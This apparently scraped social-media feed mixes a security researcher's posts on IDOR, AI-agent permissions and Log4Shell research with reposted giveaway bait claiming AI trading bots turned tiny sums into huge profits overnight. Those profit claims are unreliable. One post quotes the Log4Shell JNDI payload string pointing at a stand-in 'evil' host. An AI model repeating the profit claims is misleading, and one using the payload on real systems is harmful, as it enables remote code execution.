Carl Sampson

Sr. Security Researcher

[Carl Sampson @chs]

@david_marco45 Claude

[David Marco @david_marco45]

19 year old Japanese student built a trading bot with Claude Code in 2 days.

Used his iPad as a second monitor.

First night: $6,732 profit.
Starting capital: $68.

Total profit so far: $750,000.

[ 𝐍𝐨𝐭𝐞: 𝐅𝐨𝐥𝐥𝐨𝐰 𝐌𝐞 @david_marco45 𝐅𝐨𝐫 𝐢𝐧𝐬𝐭𝐚𝐧𝐭𝐥𝐲 𝐚𝐮𝐭𝐨 𝐃𝐌]

Here's how it works👇

The bot scans over 50 markets simultaneously.

Syncs live BTC data from Binance every second.

Spots price errors before humans even notice.

The edge is pure speed + pattern recognition.

While traders stare at charts trying to predict the next move, his bot is already executing on mispricing across dozens of markets.

No guessing.
No emotions.
No hesitation.

Just Claude Code logic finding gaps that close in seconds.

He built the entire system in 48 hours:

→ Claude Code handles the trading logic
→ Binance API feeds real-time BTC data
→ iPad displays multi-market monitoring
→ Executes trades when arbitrage windows open

The system runs 24/7.

Every price dislocation = profit opportunity.

Most people are still trading manually, refreshing charts, second-guessing entries.

Meanwhile this 19 year old engineering student turned $68 into $750K by letting Claude Code do what humans can't: process 50 markets instantly and execute without fear.

Why are people still trading manually?

I'm giving away the exact Claude Code setup for free.

24 hours only.

To get it 👇
1️⃣ Comment " Claude "
2️⃣ Like and Repost
3️⃣ Follow @david_marco45
(so I can send it via DM)

[Nexa Tech Ai @Nexa_Tech_Ai]

I LAUNCHED A GROK BOT TERMINAL OVERNIGHT, GAVE IT $44.82 AND STOPPED ASKING AI WHAT IT WOULD DO. BY MORNING IT HAD $11,643.21 AND SIX AGENTS LOGGING EVERY TRADE

I spent a year asking agents what they'd trade and watching the chat scroll. Last weekend I built the thing that actually trades, in Grok Bot, with no code I touched by hand.

The six agents share one screen, each one job:

> scanner reads new token pairs and volume spikes
> rug check filters suspicious tokens before anything executes
> sizer sets position from account equity, not a fixed ticket
> executor opens and closes with slippage tracking
> logger writes the reason behind every trade
> equity curve updates on every close

I went to bed on $44.82 and left the laptop open on the dashboard. By morning the balance read $11,643.21. Every trade on the activity feed had a reason next to it and a line in the log.

That's the shift I didn't see coming. Not that an agent made money overnight. That I stopped being the one asking "would you long this?" and started being the one reading the log of what already happened.

Starting balance: $44.82
Current balance: $11,643.21

Grok Bot built the terminal, the agent architecture and the dashboard. I described what I wanted and the thing went live.

The full build is in the article below ↓
The whole build is in the post below ↓

Comment " Grok_Bot "
2️⃣ Like and Repost
3️⃣ Follow me @Nexa_Tech_Ai

I'll DM you the complete setup.

[Carl Sampson @chs]

@david_marco45 autopilot

[David Marco @david_marco45]

lost my job yesterday.

Rent was due.
No backup plan.

Then I remembered I still had Claude.

Asked it:

“Analyze every top Polymarket wallet from the last 90 days and build me something”

$25 → $4,237 in one night.

It scanned 10,000 wallets.
Cross-referenced win rates, sizing, timing.

Found 7 traders whose edge wasn’t luck.

Then built an autonomous agent.

Not a script.
Not an if-then bot.

An agent that reads live news,
maps it to markets,

detects mispricing,
and exploits arbitrage across outcomes.

Sizes every position using Kelly.

I deployed it at 11:47PM.
Closed the laptop.
Woke up to:

$25 → $4,237

94 trades while I slept.

No input.
No hesitation.
No second-guessing.

That’s the game.
Information asymmetry at machine speed.
Wall Street pays millions for this.

I pay $20/month.

You only need Claude + laptop + 1 hour/day.

Giving This Free for 24 hours. To get it:

1. Comment the word 'AutoPilot'
2. Like and Retweet this post
3. Follow me @david_marco45 (so i can DM you) ☝️

[Carl Sampson @chs]

An AI coding agent wiped a production database in 9 seconds using a token it found in an unrelated file.

Your agent's real permissions are every credential it can reach.

Least-privilege checklist for AI coding agents:

https://t.co/5xllZ9On0L

#AppSec #AISecurity #DevSecOps

[Carl Sampson @chs]

Noblesville taxpayers kept their end of the deal - https://t.co/Fq25uNk4D8

[Carl Sampson @chs]

If the user ID is in a JWT instead of the URL, forging the token is your IDOR. I built a playground to try it in your browser: https://t.co/fMje82yCIf

[Carl Sampson @chs]

Most IDOR fixes I see just swap integer IDs for UUIDs, and that isn't authorization. Section 11 of the guide covers how UUIDs leak anyway. https://t.co/a5No9NrCpS

[Carl Sampson @chs]

The IDOR guide on https://t.co/5uGjFEoV3Z is getting more traffic than anything else I've written, so I added a "where to go next" section.

If you liked it, the authz and GraphQL guides are where the same bug keeps showing up. https://t.co/a5No9NrCpS

[Carl Sampson @chs]

Check out the latest article in my newsletter: The protocol that won't tell you who it's for... https://t.co/W0h0P8a13D via @LinkedIn

[Carl Sampson @chs]

Work out what the Noblesville Schools referendum actually costs your household — put in your own assessed value: https://t.co/uFzNglRtpL.

#noblesville #Indiana

[Carl Sampson @chs]

Everyone's seen ${jndi:ldap://evil/a}. Fewer people have seen what actually comes back over the wire.

I hand-rolled the javax.naming.Reference serialization, byte for byte — then round-tripped it through a real JVM and found 2 bugs my own test couldn't catch.

https://t.co/Rvr8aYQa4e

#infosec #appsec #Log4Shell #Java

[Elizabeth Sampson @E_Sampson]

This is Great!!

[Matt Couch @RealMattCouch]

Imagine trying to take out the only reason you make any money…

[Carl Sampson @chs]

@E_Sampson Insanity

[Elizabeth Sampson @E_Sampson]

It's very concerning that IU has a Software Engineering Department and that none of their graduates has the skill needed for an entry level position? I would love to see if 100% of their 2026 grads are gainfully employed.

[Clint Gibler @clintgibler]

🛠️ 𝐀𝐧𝐭𝐢𝐒𝐒𝐑𝐅
New secure-by-default library by @msftsecurity that prevents SSRF attacks.

Currently supports .NET and Node.js.

[Carl Sampson @chs]

The original "Showstopper!: The breakneck race to create Windows NT and the next generation at Microsoft " from 1994 was one of those books that fundamentally changed how I think about software development.

Reading about Dave Cutler's team building Windows NT from the ground up — the engineering culture, the technical decisions under pressure, the relentless focus on architecture — that influenced how I approach development and security.

When I first read it, I was earlier in my security journey. While the book wasn't specifically about security, seeing how they thought about system design from the ground up, the importance of getting the foundation right, that was a lightbulb moment.

This new edition reminds us that great software comes from great engineering culture and disciplined architecture decisions. In security, we talk a lot about "shifting left," but really we're talking about the same thing - getting the fundamentals right from the start.

What book fundamentally changed how you approach your craft?

#ApplicationSecurity #SoftwareEngineering #BookRecommendation #Engineering